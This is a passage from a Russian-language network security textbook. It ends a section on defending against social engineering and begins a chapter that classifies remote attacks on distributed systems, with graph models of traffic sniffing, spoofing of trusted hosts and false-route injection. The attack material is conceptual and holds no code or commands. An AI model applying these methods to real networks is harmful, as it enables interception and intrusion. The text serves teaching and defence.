Demon Dialer (программа, выясняющая наличие модемов на противоположном конце линии) и звонок в справочную службу отдела информационных систем дали телефонные номера модемов компании. Эти номера позволили атакующим использовать скомпрометированные идентификаторы. Получение информации о модемах позволило обойти очень сложную систему брандмауэра и сделать ее бесполезной. В ходе дальнейших атак аналогичные методы использовались для того, чтобы получить свой собственный идентификатор в компьютерах компании. После этого атакующие заставили служащих компании послать им коммуникационную математику, которая организует безопасное соединение».

Осведомленность

Осведомленность играет ведущую роль в защите организации от проникновения в информационные системы с помощью СИ, так как СИ основана на использовании таких сторон человеческой природы, как неосторожность и беззаботность. Осведомленность является ключевым моментом и вследствие того, что это предварительная, предупреждающая мера, нацеленная на усвоение самими служащими основных принципов и необходимых правил защиты. Разумеется, этот аспект требует обучения и тестирования сотрудников.

Основные шаги для усиления безопасности компьютерных систем компании:

1. Привлечение внимания людей к вопросам безопасности.

2. Осознание сотрудниками всей серьезности проблемы и принятие политики безопасности организации.

3. Изучение и внедрение необходимых методов и действий для повышения защиты информационного обеспечения.

Осведомленность должна быть включена во все уровни организации, начиная с самого верхнего, где и принимается политика безопасности. На основе этой политики и распределения ответственности можно создавать модель защиты. После разбора вышеописанного примера И. Винклер дает советы по разработке и внедрению политики безопасности, позволяющей защититься от СИ:

Не полагайтесь на систему внутренней идентификации

Атакующих иногда просят аутентифицироваться с помощью указания их личного номера сотрудника. К радости взломщиков, такие номера часто используются и могут быть легко получены от реальных сотрудников. У атакующего обычно имеется список номеров сотрудников, и он готов к любому вопросу. Многие компании полагаются на похожие системы идентификации. Компаниям следует иметь отдельный идентификатор для работ, связанных с поддержкой информационных систем. Наличие такого идентификатора позволит отделить функции технического сопровождения от других и обеспечит дополнительную безопасность как для работ по сопровождению, так и для взаимодействия сотрудников в организации.

Реализуйте систему проверки с помощью встречного звонка, когда сообщаете защищенную информацию

От многих атак можно было бы защититься, если бы служащие компании проверяли личность звонившего, набрав его телефонноый номер, который указан в телефонном справочнике компании. Эта процедура не очень удобна в повседневной работе, однако при сопоставлении с возможными потерями неудобства будут оправданы. Если от сотрудников потребовать делать встречные звонки любому, кто просит сообщить персональную или конфиденциальную информацию, риск утечки информации будет сведен к минимуму. Использование АОН также может пригодиться для этой цели.

Реализуйте программу обучения пользователей в области безопасности

Хотя предоставление своего пароля постороннему может показаться глупым для читателей данной книги, многие компьютерные пользователи не увидят в этом ничего плохого. Компании тратят огромные суммы, закупая самое современное оборудование и программы, но необходимость обучать пользователей игнорируется. Компьютерные профессионалы должны понимать: то, что для них естественно, может быть неизвестно остальным. Хорошая программа обучения пользователей может быть реализована с минимальными затратами и сохранить компании миллионы.

Назначьте ответственных за техническую поддержку

Каждый сотрудник компании обязан лично познакомиться с ответственным за техническую поддержку и обращаться исключительно к нему. При этом на 60 пользователей достаточно одного ответственного. Пользователи должны немедленно связываться с аналитиком, если к ним обращается некто, заявляющий, что он сотрудник службы технической поддержки.

Создайте систему оповещения об угрозах

Атакующие знают, что, даже если их обнаружат, у служащего нет возможности предупредить других сотрудников об атаках. В результате атака может быть продолжена с минимальными изменениями и после компрометации. По существу, компрометация только улучшит атаку, так как атакующие узнают, что именно не срабатывает.

Социальная инженерия для проверки политики безопасности

Социальная инженерия является единственным подходящим методом проверки эффективности политики безопасности. Хотя многие тесты проверяют физические и электронные уязвимые места, но лишь некоторые анализы безопасности исследуют бреши, создаваемые людьми. Следует, однако, отметить, что тесты такого типа должны проводить только квалифицированные и надежные люди.

Методы социальной инженерии, применяемые злоумышленником, представляют серьезную угрозу информационной безопасности для любой организации. Нужно создать и разработать различные варианты политики безопасности, определить правила корректного использования телефонов, компьютеров и т. д. Необходимо учитывать и неосведомленность в области безопасности, так как любые средства технического контроля (независимо от их эффективности) могут быть использованы людьми ненадлежащим образом. В итоге тестирование системы безопасности должно обеспечить вам защиту от проникновения.

Часть II Протоколы

Глава 3 Удаленные атаки на распределенные вычислительные системы

Непостижимо все, что в мире есть,
К тому ж изъянов в том, что есть, не счесть.
О. Хайям. Рубаи

Основной особенностью любой распределенной системы, как уже отмечалось, является то, что ее компоненты рассредоточены в пространстве и связь между ними физически осуществляется при помощи сетевых соединений, а программно – при помощи механизма сообщений. При этом все управляющие сообщения и данные, пересылаемые между объектами распределенной ВС (РВС), передаются по сетевым соединениям в виде пакетов обмена. Данная особенность и является основной для рассматриваемых в этой главе удаленных атак на инфраструктуру и протоколы распределенных ВС.

Классификация угроз безопасности распределенных вычислительных систем

Еще в конце 80-х – начале 90-х годов такого понятия и научного направления, как сетевая безопасность, по сути, не существовало. В те годы только зарождалось направление, связанное с компьютерной безопасностью вообще (особенно это относится к России), поэтому в научных исследованиях, посвященных анализу угроз безопасности ВС, не проводилось разделения между угрозами, специфичными для распределенных и локальных вычислительных систем. В одном исследовании, проделанном отечественными авторами [1], была предложена систематизация информационных разрушающих воздействий на ВС и рассмотрены их основные типы, в том числе описывались и классифицировались воздействия, присущие только распределенным ВС. Такой обобщенный подход к систематизации является правомочным, но, к сожалению, он не позволяет точно охарактеризовать и классифицировать воздействия, присущие именно РВС. Это связано с тем, что распределенные вычислительные системы обладают серьезными отличиями от локальных ВС. Поэтому в последующих научных работах [25, 31] применялся подход к систематизации угроз, когда из всего множества A угроз ВС (A = {a. | i = 1..N}, где a. – i-я угроза ВС) рассматривалось подмножество угроз B, присущих только распределенным ВС (B = {h | i = 1..M}, где h – i-я угроза РВС). Соответственно для данного множества угроз B предлагалась своя классификация. Однако и такой подход к систематизации не был лишен недостатков, так как все угрозы из множества B в зависимости от объекта, подвергающегося воздействию, можно разделить на следующие два подмножества:

• удаленные атаки на инфраструктуру (под инфраструктурой сети мы будем понимать сложившуюся систему организации отношений между объектами сети и используемые в сети сервисные службы) и протоколы сети (множество B1);

• удаленные атаки на телекоммуникационные службы или серверы предоставления удаленного сервиса (множество B2).

Первые используют уязвимости в сетевых протоколах и в инфраструктуре сети, а вторые – уязвимости в телекоммуникационных службах («дыры», программные закладки, программные ошибки).

Проведенный анализ причин успеха реальных воздействий (из множества B1) на различные распределенные вычислительные системы позволил выделить основные причины, по которым возможна реализация данных угроз:

• использование широковещательной среды передачи (например, Ethernet);

• применение нестойких алгоритмов идентификации удаленных субъектов и объектов РВС;

• использование протоколов динамического изменения маршрутизации с нестойкими алгоритмами идентификации;

• применение алгоритмов удаленного поиска с использованием широковещательных и направленных поисковых запросов;

• возможность анонимного захвата одним субъектом РВС множества физических или логических каналов связи.

Иными словами, возможный успех атак из множества B1 обусловлен наличием в распределенной системе одной (или нескольких) из вышеназванных причин. Систематизация основных причин успеха угроз безопасности РВС позволила ввести понятие типовой угрозы безопасности РВС (из множества B1), инвариантной к типу РВС, и создать систематизацию типовых угроз безопасности РВС из множества B1, которая рассмотрена далее.

Итак, перейдем к классификации угроз из выделенного множества B1. Основная цель любой классификации состоит в том, чтобы предложить такие отличительные признаки, используя которые, можно наиболее точно описать характеризуемые явления или объекты. Поскольку ни в одном из известных авторам научных исследований не проводилось различия между локальными и удаленными информационными воздействиями на ВС, применение уже известных обобщенных классификаций для описания удаленных воздействий не позволяет более или менее точно раскрыть их сущность и описать механизмы и условия их осуществления. Для более точного описания угроз безопасности РВС (из множества B1) предлагается следующая классификация (см. рис. 3.1).

Рис. 3.1. Классификация угроз безопасности РВС

1. По характеру воздействия:

• пассивное (класс 1.1);

• активное (класс 1.2).

Пассивным воздействием на распределенную вычислительную систему можно назвать воздействие, которое не оказывает непосредственного влияния на работу системы, но способно нарушать ее политику безопасности. Именно отсутствие непосредственного влияния на работу распределенной ВС приводит к тому, что пассивное удаленное воздействие практически невозможно обнаружить. Примером типового пассивного удаленного воздействия в РВС служит прослушивание канала связи в сети. При пассивном воздействии, в отличие от активного, не остается никаких следов (от того, что атакующий просмотрит чужое сообщение в системе, ничего не изменится).

Под активным воздействием на распределенную ВС понимается воздействие, оказывающее непосредственное влияние на работу системы (изменение конфигурации РВС, нарушение работоспособности и т. д.) и нарушающее принятую в ней политику безопасности. Практически все типы удаленных атак являются активными воздействиями. Это связано с тем, что в самой природе разрушающего воздействия заложено активное начало. Очевидным отличием активного воздействия от пассивного является принципиальная возможность его обнаружения (естественно, с большими или меньшими усилиями), так как в результате его осуществления в системе происходят определенные изменения.

2. По цели воздействия:

• нарушение конфиденциальности информации либо ресурсов системы (класс 2.1);

• нарушение целостности информации (класс 2.2);

• нарушение работоспособности (доступности) системы (класс 2.3).

Этот классификационный признак является прямой проекцией трех основных типов угроз: раскрытия, целостности и отказа в обслуживании.

Цель большинства атак – получить несанкционированный доступ к информации. Существуют две принципиальные возможности такого доступа: перехват и искажение. Перехват – это получение информации без возможности ее искажения. Примером перехвата может служить прослушивание канала в сети. Такая атака является пассивным воздействием и ведет к нарушению конфиденциальности информации.

Искажение информации означает полный контроль над информационным потоком между объектами системы или возможность передачи сообщений от имени другого объекта. Очевидно, что искажение информации ведет к нарушению ее целостности, то есть представляет собой активное воздействие. Примером удаленной атаки, цель которой – нарушение целостности информации, может служить типовая удаленная атака (УА) «ложный объект РВС».

Принципиально иной целью атаки является нарушение работоспособности системы. В этом случае основная цель взломщика – добиться, чтобы операционная система на атакованном объекте вышла из строя и, следовательно, для всех остальных объектов системы доступ к ресурсам данного объекта был бы невозможен. Примером удаленной атаки, целью которой является нарушение работоспособности системы, может служить типовая атака «отказ в обслуживании».

3. По условию начала осуществления воздействия.

Удаленное воздействие, как и любое другое, может начать осуществляться только при определенных условиях. В распределенных ВС существуют три вида таких условий:

• атака после запроса от атакуемого объекта (класс 3.1);

• атака после наступления ожидаемого события на атакуемом объекте (класс 3.2);

• безусловная атака (класс 3.3).

В первом случае взломщик ожидает передачи от потенциальной цели атаки запроса определенного типа, который и будет условием начала осуществления воздействия. Примером подобных сообщений в ОС Novell NetWare может служить запрос SAP (атака описана в [11]), а в Internet – запросы DNS и ARP. Удаленные атаки класса 3.1 на объекты сети рассмотрены далее в главе 4. Следует отметить, что такой тип удаленных атак наиболее характерен для распределенных ВС.

При осуществлении атаки класса 3.2 атакующий осуществляет постоянное наблюдение за состоянием операционной системы объекта атаки и при возникновении определенного события в этой системе начинает воздействие. Как и в предыдущем случае, инициатором начала атаки выступает сам атакуемый объект. Примером такого события может быть прерывание сеанса работы пользователя с сервером в ОС Novell NetWare без выдачи команды LOGOUT [11].

При безусловной атаке ее начало не зависит от состояния системы атакуемого объекта, то есть воздействие осуществляется немедленно. Следовательно, в этом случае его инициатором является атакующий. Пример воздействия данного вида рассмотрен в главе 4.

4. По наличию обратной связи с атакуемым объектом:

• с обратной связью (класс 4.1);

• без обратной связи, или однонаправленная атака (класс 4.2).

Если взломщику требуется получить ответ на некоторые запросы, переданные на объект воздействия, то есть между атакующим и целью атаки существует обратная связь, которая позволяет ему адекватно реагировать при изменении ситуации, то такое воздействие можно отнести к классу 4.1. Подобные удаленные атаки наиболее характерны для распределенных ВС.

Инициатор удаленной атаки без обратной связи, напротив, не реагирует ни на какие изменения, происходящие на атакуемом объекте. Воздействие данного вида обычно осуществляется передачей на атакуемый объект одиночных запросов, ответы на которые атакующему не нужны. Примером подобных атак – их можно назвать однонаправленными – является типовая атака «отказ в обслуживании», а также атаки, рассмотренные в главе 4.

5. По расположению субъекта атаки относительно атакуемого объекта:

• внутрисегментное (класс 5.1);

• межсегментное (класс 5.2).

Рассмотрим ряд определений.

Субъект атаки, или источник атаки – это атакующая программа или оператор, непосредственно осуществляющие воздействие.

Хост (host) – сетевой компьютер.

Маршрутизатор, или роутер (router) – устройство, обеспечивающее маршрутизацию пакетов обмена в глобальной сети.

Подсеть (subnetwork в терминологии Internet) – логическое объединение, совокупность хостов, являющихся частью глобальной сети, для которых маршрутизатором выделен одинаковый номер. Хосты внутри одной подсети могут взаимодействовать непосредственно, минуя маршрутизатор.

Сегмент сети (segment) – физическое объединение хостов. Например, сегменты сети образуются совокупностью хостов, подключенных к серверу по схеме «общая шина». При такой схеме подключения каждый хост имеет возможность подвергать анализу любой пакет в своем сегменте.

Для осуществления удаленного воздействия чрезвычайно важно, как по отношению друг к другу располагаются субъект и объект атаки, то есть в одном или в разных сегментах они находятся. В случае внутрисегментной атаки, как следует из названия, субъект и объект атаки находятся в одном сегменте, а при межсегментной – в разных.

Данный классификационный признак позволяет судить о так называемой степени удаленности атаки. Далее показано, что на практике межсегментное воздействие осуществить значительно труднее, чем внутрисегментное, но и опасность оно представляет гораздо большую. В таком случае объект и субъект атаки могут находиться на расстоянии многих тысяч километров друг от друга, что существенно усложняет возможность непосредственного обнаружения атакующего и адекватной реакции на атаку.

6. По уровню эталонной модели ISO/OSI, на котором осуществляется воздействие:

• физический (класс 6.1);

• канальный (класс 6.2);

• сетевой (класс 6.3);

• транспортный (класс 6.4);

• сеансовый (класс 6.5);

• представительный (класс 6.6);

• прикладной (класс 6.7).

Международная организация по стандартизации (ISO) приняла стандарт ISO 7498, описывающий взаимодействие открытых систем (OSI), к которым относятся и распределенные ВС. Любой сетевой протокол обмена, как и любую сетевую программу, можно с той или иной степенью точности спроецировать на эталонную многоуровневую модель OSI. Такая проекция позволит описать в терминах модели OSI функции, заложенные в сетевой протокол или программу. Поскольку удаленная атака также является сетевой программой, представляется логичным рассматривать такие воздействия на распределенные ВС, проецируя их на эталонную модель ISO/OSI.

Модели механизмов реализации типовых угроз безопасности РВС

Понятие типовой угрозы безопасности

Исследования информационной безопасности различных распределенных ВС, проводимые нами в течение последних лет, показали, что, независимо от используемых сетевых протоколов, топологии и инфраструктуры исследуемых распределенных ВС, механизмы реализации удаленных воздействий на РВС инвариантны по отношению к особенностям конкретной системы. Это объясняется тем, что распределенные ВС проектируются на основе одних и тех же принципов, а следовательно, имеют практически одинаковые проблемы безопасности. Поэтому и оказывается, что причины успеха удаленных атак на различные РВС одинаковы (подробнее см. в главе 6). Таким образом, появляется возможность ввести понятие типовой угрозы безопасности РВС. Типовая угроза безопасности – это удаленное информационное разрушающее воздействие, программно осуществляемое по каналам связи и характерное для любой распределенной ВС. Соответственно типовая удаленная атака – это реализация типовой угрозы безопасности РВС.

Классификация типовых удаленных атак на РВС приведена в табл. 3.1.

Таблица 3.1. Классификация типовых удаленных атак на распределенные ВС

Рассмотрим модель типовых угроз безопасности РВС из множества угроз, направленных на инфраструктуру и протоколы РВС. Эта модель включает в себя:

• описание угрозы;

• описание механизмов реализации угрозы;

• классификацию угрозы;

• графовую модель взаимодействия объектов РВС в проекции на физический (или канальный) и сетевой уровни модели OSI;

• графовую модель взаимодействия объектов РВС при реализации данной угрозы в проекции на физический (или канальный) и сетевой уровни модели OSI.

Графовая модель взаимодействия объектов РВС

Рассмотрим предлагаемую графовую модель взаимодействия объектов РВС в проекции на физический, канальный и сетевой уровни модели OSI. На входе у модели находится адрес объекта, с которого передается сообщение и на который необходимо доставить сообщение; на выходе – итоговый результат (доставлено ли сообщение). Основная задача данной модели РВС состоит в формировании на графе пути между заданными входными параметрами модели (между двумя объектами).

Модель в проекции на физический уровень OSI определяет, как физически связаны и сообщаются между собой объекты РВС; в проекции на канальный уровень OSI устанавливает взаимодействие объектов на уровне аппаратных адресов сетевых адаптеров; а в проекции на сетевой уровень OSI определяет связь объектов на уровне логических адресов, например адресов IP.

Пусть имеется РВС, включающая в себя N связанных между собой KS (линиями связи на физическом и канальном уровне) и LS (линиями связи на сетевом уровне OSI) объектов (M хостов xi и N(M + 1) и роутеров gi, где i = 1..M и J = M + 1..N; M < N). Так как модель РВС в проекции на физический уровень ничем не отличается от той же модели в проекции на канальный уровень, то ограничимся введением универсальной линии связи KS, под которой будем понимать линию связи либо физического, либо канального уровня OSI.

На физическом уровне под объектом понимается сетевой адаптер хоста или роутера, на канальном – аппаратный адрес сетевого адаптера. На этих уровнях модели выделим из всего множества хостов N – (M + 1) подмножество Xk, где k = 1..N – (M + 1), по числу роутеров в РВС, каждое из которых связано на физическом и канальном уровнях только с одним ближайшим роутером и представляет собой сетевой сегмент. Соответственно все объекты внутри данного подмножества Xk взаимодействуют между собой при помощи двунаправленных линий связи физического или канального уровня ksij, соединяющих i-объект с j-объектом; также каждый объект из подмножества Xk связан с соответствующим роутером Gm+k, через который и только через который объект из данного множества (сегмента) может сообщаться с объектом из другого множества (сегмента). Это правило будет введено для упрощения модели, так как при моделировании механизмов атак связь объекта сразу с несколькими роутерами не играет роли. Таким образом, на канальном и физическом уровнях модели из вершины Xk попасть в вершину Xk-p (p < k) можно только в том случае, если они находятся в одном подмножестве или путь проходит через последовательность узлов из множества G, следовательно, путь между любыми двумя объектами из множества X не может проходить через другой, отличный от них транзитный объект из того же множества.

На сетевом уровне под объектом понимается сетевой адрес хоста или роутера. На этом уровне каждый объект может взаимодействовать с любым другим объектом РВС при помощи однонаправленной или двунаправленной линии связи сетевого уровня lsij, соединяющей i-объект с j-объектом.

Введем два правила.

Во-первых, все объекты внутри одного подмножества Xk (сегмента) всегда связаны между собой физически, но не всегда соединены канальными линиями связи, а следовательно, на данном уровне все объекты потенциально могут быть связаны друг с другом линией канального уровня, но могут быть и не связаны.

Во-вторых, путь на K-ом уровне модели OSI между двумя объектами РВС существует тогда и только тогда, когда он существует на всех уровнях от 1 до K – 1, где 1 < K <= 7. Исключением является случай, когда между двумя объектами из одного подмножества (сегмента) Xk нет пути на канальном уровне, но существует путь на сетевом (широковещательный сетевой запрос (например, ARP), который получат все объекты в данном сегменте).

Согласно предлагаемой модели:

X = {xi | i = 1..M} – множество хостов;

G = {gj | j = M + 1..N} – множество роутеров;

KS = {kskL | k = 1..N, L = 1..N } – множество линий связи объектов на физическом или канальном уровне OSI; kskL – линия связи k-го объекта с объектом L;

LS = {lskL | k = 1..N, L = 1..N} – множество линий связи объектов на сетевом уровне OSI; lskL – линия связи k-го объекта с объектом L;

Xk = {xp | p = 1..M} – подмножество хостов внутри одного сегмента;

KSk = {kskL | k = 1..M, L = 1..M} – подмножество линий связи объектов на физическом или канальном уровнях внутри одного сегмента;

SEG = {Xk, Gm+k, KSk | k = 1..N – (M + 1), m = 1..M} – множество сетевых сегментов с линиями связи физического или канального уровня.

Объединение множеств RVSk = Xk ? KSk ? G ? SEG образует модель взаимодействия объектов распределенной ВС в проекции на физический или канальный уровень модели OSI (рис. 3.2).

Рис. 3.2. Графовая модель взаимодействия объектов РВС в проекции на физический или канальный уровень модели OSI

Объединение множеств RVSs = X ? G ? LS образует модель взаимодействия объектов распределенной ВС в проекции на сетевой уровень модели OSI (рис. 3.3).

Рис. 3.3. Графовая модель взаимодействия объектов РВС в проекции на сетевой уровень

Объединение множеств RVS = RVSk ? RVSs образует модель взаимодействия объектов распределенной ВС в проекции на физический (или канальный) и сетевой уровни модели OSI (рис. 3.4).

Рис. 3.4. Графовая модель взаимодействия объектов РВС в проекции на физический и сетевой уровни модели OSI

Моделирование механизмов реализации типовых угроз безопасности РВС

1. Анализ сетевого трафика

Основной особенностью РВС, как отмечалось выше, является то, что ее объекты распределены в пространстве и связь между ними осуществляется физически (по сетевым соединениям) и программно (при помощи механизма сообщений). При этом все управляющие сообщения и данные, пересылаемые между объектами РВС, передаются по сетевым соединениям в виде пакетов обмена. Эта особенность привела к появлению специфичной для распределенных ВС типовой угрозы безопасности, заключающейся в прослушивании канала связи. Назовем данную типовую угрозу безопасности РВС «анализ сетевого трафика» (sniffing), сокращенно – «сетевой анализ».

Реализация угрозы «сетевой анализ» позволяет, во-первых, изучить логику работы распределенной ВС, то есть получить взаимно однозначное соответствие событий, происходящих в системе, и команд, пересылаемых друг другу ее объектами, в момент появления этих событий. Это достигается путем перехвата и анализа пакетов обмена на канальном уровне. Знание логики работы распределенной ВС позволяет на практике моделировать и осуществлять типовые удаленные атаки, рассмотренные ниже, на примере конкретных РВС.

Во-вторых, такая удаленная атака позволяет непосредственно перехватить поток данных, которыми обмениваются объекты распределенной ВС. То есть удаленная атака этого типа заключается в получении несанкционированного доступа к информации, которой обмениваются два сетевых абонента. Отметим, что при реализации угрозы нельзя модифицировать трафик, а сам анализ возможен только внутри одного сегмента сети. Примером информации, перехваченной при помощи такой типовой атаки, могут служить имя и пароль пользователя, пересылаемые в незашифрованном виде по сети.

По характеру воздействия анализ сетевого трафика является пассивным воздействием (класс 1.1). Осуществление данной атаки без обратной связи (класс 4.2) ведет к нарушению конфиденциальности информации (класс 2.1) внутри одного сегмента сети (класс 5.1) на канальном уровне OSI (класс 6.2). При этом начало осуществления атаки безусловно по отношению к ее цели (класс 3.3).

Для моделирования реализации данной угрозы воспользуемся разработанной графовой моделью взаимодействия объектов РВС в проекции на физический уровень модели OSI. На рис. 3.5 показана модель РВС при реализации данной угрозы. Реализация типового воздействия «сетевой анализ», как видно из графа на том же рисунке, характеризуется появлением на графе нового узла XN+1 и нового ребра ksMN+1, а соответственно на множестве RVSk – нового объекта XN+1 и новых линий связи KSMN+1 и ksNN+1.

Рис. 3.5. Графовая модель взаимодействия объектов РВС в проекции на физический уровень OSI при реализации типовой угрозы «сетевой анализ»

2. Подмена доверенного объекта или субъекта распределенной ВС

Одна из основных проблем безопасности распределенной ВС заключается в осуществлении однозначной идентификации сообщений, передаваемых между субъектами и объектами (абонентами) взаимодействия. Обычно в РВС эта проблема решается следующим образом: в процессе создания виртуального канала объекты обмениваются определенной информацией, уникально идентифицирующей данный канал. Такой обмен называется handshake (рукопожатие). Однако отметим, что не всегда для связи двух удаленных объектов в РВС создается виртуальный канал. Практика показывает, что зачастую, как это ни странно, именно для служебных сообщений (например, от роутеров) используется передача одиночных сообщений, не требующих подтверждения.

Как известно, для адресации сообщений в распределенных ВС используется сетевой адрес, уникальный для каждого объекта системы (на канальном уровне модели OSI – это аппаратный адрес сетевого адаптера, на сетевом уровне адрес определяется в зависимости от используемого протокола сетевого уровня, например адрес IP). Сетевой адрес также может использоваться для идентификации объектов РВС, однако это средство распознавания не должно быть единственным, так как довольно просто подделывается. Если в распределенной ВС применяются нестойкие алгоритмы идентификации удаленных объектов, то возможно типовое удаленное воздействие, реализация которого заключается в передаче по каналам связи сообщений от имени любого объекта или субъекта РВС. При этом существуют две разновидности данной типовой атаки:

• атака при установленном виртуальном канале;

• атака без установленного виртуального канала.

В случае установленного виртуального соединения атака будет заключаться в передаче пакетов обмена с хоста кракера на объект атаки от имени доверенного субъекта взаимодействия (при этом переданные сообщения будут восприняты системой как корректные). Для осуществления такой атаки необходимо преодолеть систему идентификации и аутентификации сообщений, которая может использовать контрольную сумму, вычисляемую с помощью открытого ключа, динамически выработанного при установлении канала, случайные многобитные счетчики пакетов, сетевые адреса станций и т. д. Однако на практике, например в ОС Novell NetWare 3.12-4.1, для идентификации пакетов обмена используются два 8-битных счетчика: номер канала и номер пакета [11]; в протоколе TCP/IP для идентификации используются два 32-битных счетчика.

Как было отмечено ранее, для служебных сообщений в распределенных ВС часто используется передача одиночных запросов, не требующих подтверждения, а следовательно, создание виртуального соединения является необязательным. Атака без создания такого соединения заключается в передаче служебных сообщений от имени сетевых управляющих устройств, например от имени маршрутизаторов. Очевидно, что в этом случае для идентификации пакетов могут использоваться только определенные заранее статические ключи, что довольно неудобно и требует сложной системы управления ключами. Однако в противном случае идентификация таких пакетов без установленного виртуального канала возможна лишь по сетевому адресу отправителя, который, как уже отмечалось, легко подделать. Посылка ложных управляющих сообщений может привести к серьезным нарушениям работы распределенной ВС, например к изменению ее конфигурации.

Подмена доверенного объекта РВС является активным воздействием (класс 1.2), совершаемым с целью нарушения конфиденциальности (класс

2.1) и целостности (класс 2.2) информации по наступлении на атакуемом объекте определенного события (класс 3.2). Данная удаленная атака может являться как внутрисегментной (класс 5.1), так и межсегментной (класс

5.2), иметь обратную связь с атакуемым объектом (класс 4.1) или не иметь ее (класс 4.2), осуществляясь на канальном (класс 6.2), сетевом (класс 6.3) и транспортном (класс 6.4) уровнях модели OSI.

Для моделирования реализации данной угрозы воспользуемся разработанной графовой моделью взаимодействия объектов РВС в проекции на физический и сетевой уровни эталонной модели OSI. На рис. 3.6 показана модель РВС при реализации данной угрозы. Поясним ее.

Рис. 3.6. Графовая модель взаимодействия объектов РВС при реализации типовой угрозы «подмена доверенного объекта или субъекта РВС» в проекции на физический и сетевой уровни

Пусть объект X2 взаимодействует с объектом XM. На графе это взаимодействие на сетевом уровне показано двунаправленным ребром ls2M, которое располагается между вершинами X2 и XM. Пусть с объекта X1 осуществляется реализация данной угрозы: предположим, объект X1 на сетевом уровне выдает себя за объект X2 при взаимодействии с объектом XM. Тогда, согласно введенному правилу образования ребер графа в модели РВС в проекции на сетевой уровень, на графе появляется еще одно однонаправленное ребро ls2M, которое соединяет вершины X1 и XM (если объект X1 при связи с объектом XM выдает себя за объект X2, то между вершинами X1 и XM появляется не ребро ls1M, а ребро ls2M). Таким образом, объект XM, получив сообщение от имени X2, отправленное объектом X1, посылает ответное сообщение на X2 (двунаправленное ребро ls2M или однонаправленное ребро lsM2).

Двунаправленному ребру ls2M между вершинами X2 и XM на физическом уровне соответствует путь ks2M (путь ks2M образуется из последовательности ребер, которые нужно пройти между узлами X2 и XM на физическом уровне, то есть ребер ks2M+1, ksM+1N, ksNM, и по закону транзитивности совокупность этих ребер образует ребро ks2M). А однонаправленному ребру ls2M между вершинами X1 и XM на физическом уровне соответствует путь ks1M, что неверно, так как нумерация пути между узлами на физическом и сетевом уровнях должна совпадать (например, между узлами M и N пути ksMN и lsMN), и данному ребру на физическом уровне будет соответствовать путь ks2M. Следовательно, реализацию данной угрозы можно определить по изменившемуся на физическом уровне пути при взаимодействии объектов X2 и XM.

Отсюда следует, что реализация типовой угрозы «подмена доверенного объекта или субъекта РВС» характеризуется появлением на графе однонаправленного ребра ls2M, которому на физическом уровне соответствует путь ks1M.

3. Ложный объект распределенной ВС

Если в распределенной ВС не решены проблемы идентификации сетевых управляющих устройств (например, маршрутизаторов), возникающие при взаимодействии этих устройств с объектами системы, то подобная РВС может подвергнуться типовой удаленной атаке, связанной с изменением маршрутизации и внедрением в систему ложного объекта. Внедрить такой объект можно и в том случае, если инфраструктура предусматривает использование алгоритмов удаленного поиска. Итак, существуют две принципиально разные причины, обусловливающие появление типовой угрозы «ложный объект РВС»:

• внедрение в распределенную ВС ложного объекта путем навязывания ложного маршрута;

• внедрение в распределенную ВС ложного объекта путем использования недостатков алгоритмов удаленного поиска.

Современные глобальные сети представляют собой совокупность сегментов, связанных между собой через сетевые узлы. При этом под маршрутом понимается последовательность узлов сети, по которой данные передаются от источника к приемнику, а под маршрутизацией – выбор маршрута. Все роутеры (маршрутизаторы) имеют специальную таблицу, называемую таблицей маршрутизации, в которой для каждого адресата указывается оптимальная последовательность узлов. Отметим, что такие таблицы существуют не только у маршрутизаторов, но и у любых хостов в глобальной сети. Для обеспечения эффективной маршрутизации в распределенных ВС применяются специальные управляющие протоколы, позволяющие роутерам обмениваться информацией друг с другом, – RIP (Routing Internet Protocol), OSPF (Open Shortest Path First); уведомлять хосты о новом маршруте, – ICMP (Internet Control Message Protocol); удаленно управлять маршрутизаторами, – SNMP (Simple Network Management Protocol). Все эти протоколы позволяют удаленно изменять маршрутизацию в Internet, то есть являются протоколами управления сетью.

Очевидно, что маршрутизация в глобальных сетях играет важнейшую роль и, как следствие этого, может подвергаться атаке. Основная цель атаки, связанной с навязыванием ложного маршрута, – изменить исходную маршрутизацию на объекте распределенной ВС так, чтобы новый маршрут проходил через ложный объект – хост атакующего.

Реализация типовой угрозы «внедрение в РВС ложного объекта путем навязывания ложного маршрута» состоит в несанкционированном использовании протоколов управления сетью для изменения исходных таблиц маршрутизации, для чего атакующему необходимо послать по сети специальные служебные сообщения, определенные данными протоколами, от имени сетевых управляющих устройств (роутеров). В результате успешного изменения маршрута атакующий получит полный контроль над потоком информации, которой обмениваются два объекта распределенной ВС, и атака перейдет во вторую стадию, связанную с приемом, анализом и передачей сообщений, получаемых от дезинформированных объектов РВС. Методы воздействия на перехваченную информацию рассмотрены далее.

Навязывание объекту РВС ложного маршрута – активное воздействие (класс 1.2), совершаемое с любой из целей класса 2, безусловно по отношению к атакуемому объекту (класс 3.3). Данное типовое воздействие может осуществляться как внутри одного сегмента (класс 5.1), так и межсегментно (класс 5.2); как с обратной связью (класс 4.1), так и без обратной связи с атакуемым объектом (класс 4.2) на канальном (класс 6.2), сетевом (класс 6.3) и транспортном (класс 6.4) уровнях модели OSI.

Для моделирования реализации данной угрозы воспользуемся разработанной моделью взаимодействия объектов РВС в проекции на канальный и сетевой уровни модели OSI.

На рис. 3.7 показана модель взаимодействия объектов РВС при реализации данной угрозы в проекции на канальный и сетевой уровни. Поясним ее ниже.

Рис. 3.7. Графовая модель взаимодействия объектов РВС при реализации типовой угрозы «внедрение в РВС ложного объекта путем навязывания ложного маршрута» в проекции на канальный и сетевой уровни модели OSI

Пусть с объекта X1 осуществляется реализация данной угрозы, то есть объект X1 передает на X2 сетевое управляющее сообщение от имени роутера – объекта GM+1 (ребро lsM+12), где объявляет себя роутером GM+1.

Тогда далее граф взаимодействия объектов РВС изменяется следующим образом: исчезает линия связи канального уровня ks2M+1, соединяющая объекты X2 и GM+1, и появляется линия связи ks2M+1, которая теперь соединяет объекты X2 и X1 (объект X1 воспринимается объектом X2 как роутер GM+1). Соответственно на канальном уровне путь между X2 и XM проходит теперь через вершины X1, GM+1 … GN.

Таким образом, после реализации типовой угрозы «внедрение в РВС ложного объекта путем навязывания ложного маршрута» изменяется путь на канальном уровне на графе между объектами X2 и XM добавлением нового транзитного (ложного) объекта X1.

Рассмотрим теперь внедрение в распределенную ВС ложного объекта путем использования недостатков алгоритмов удаленного поиска.

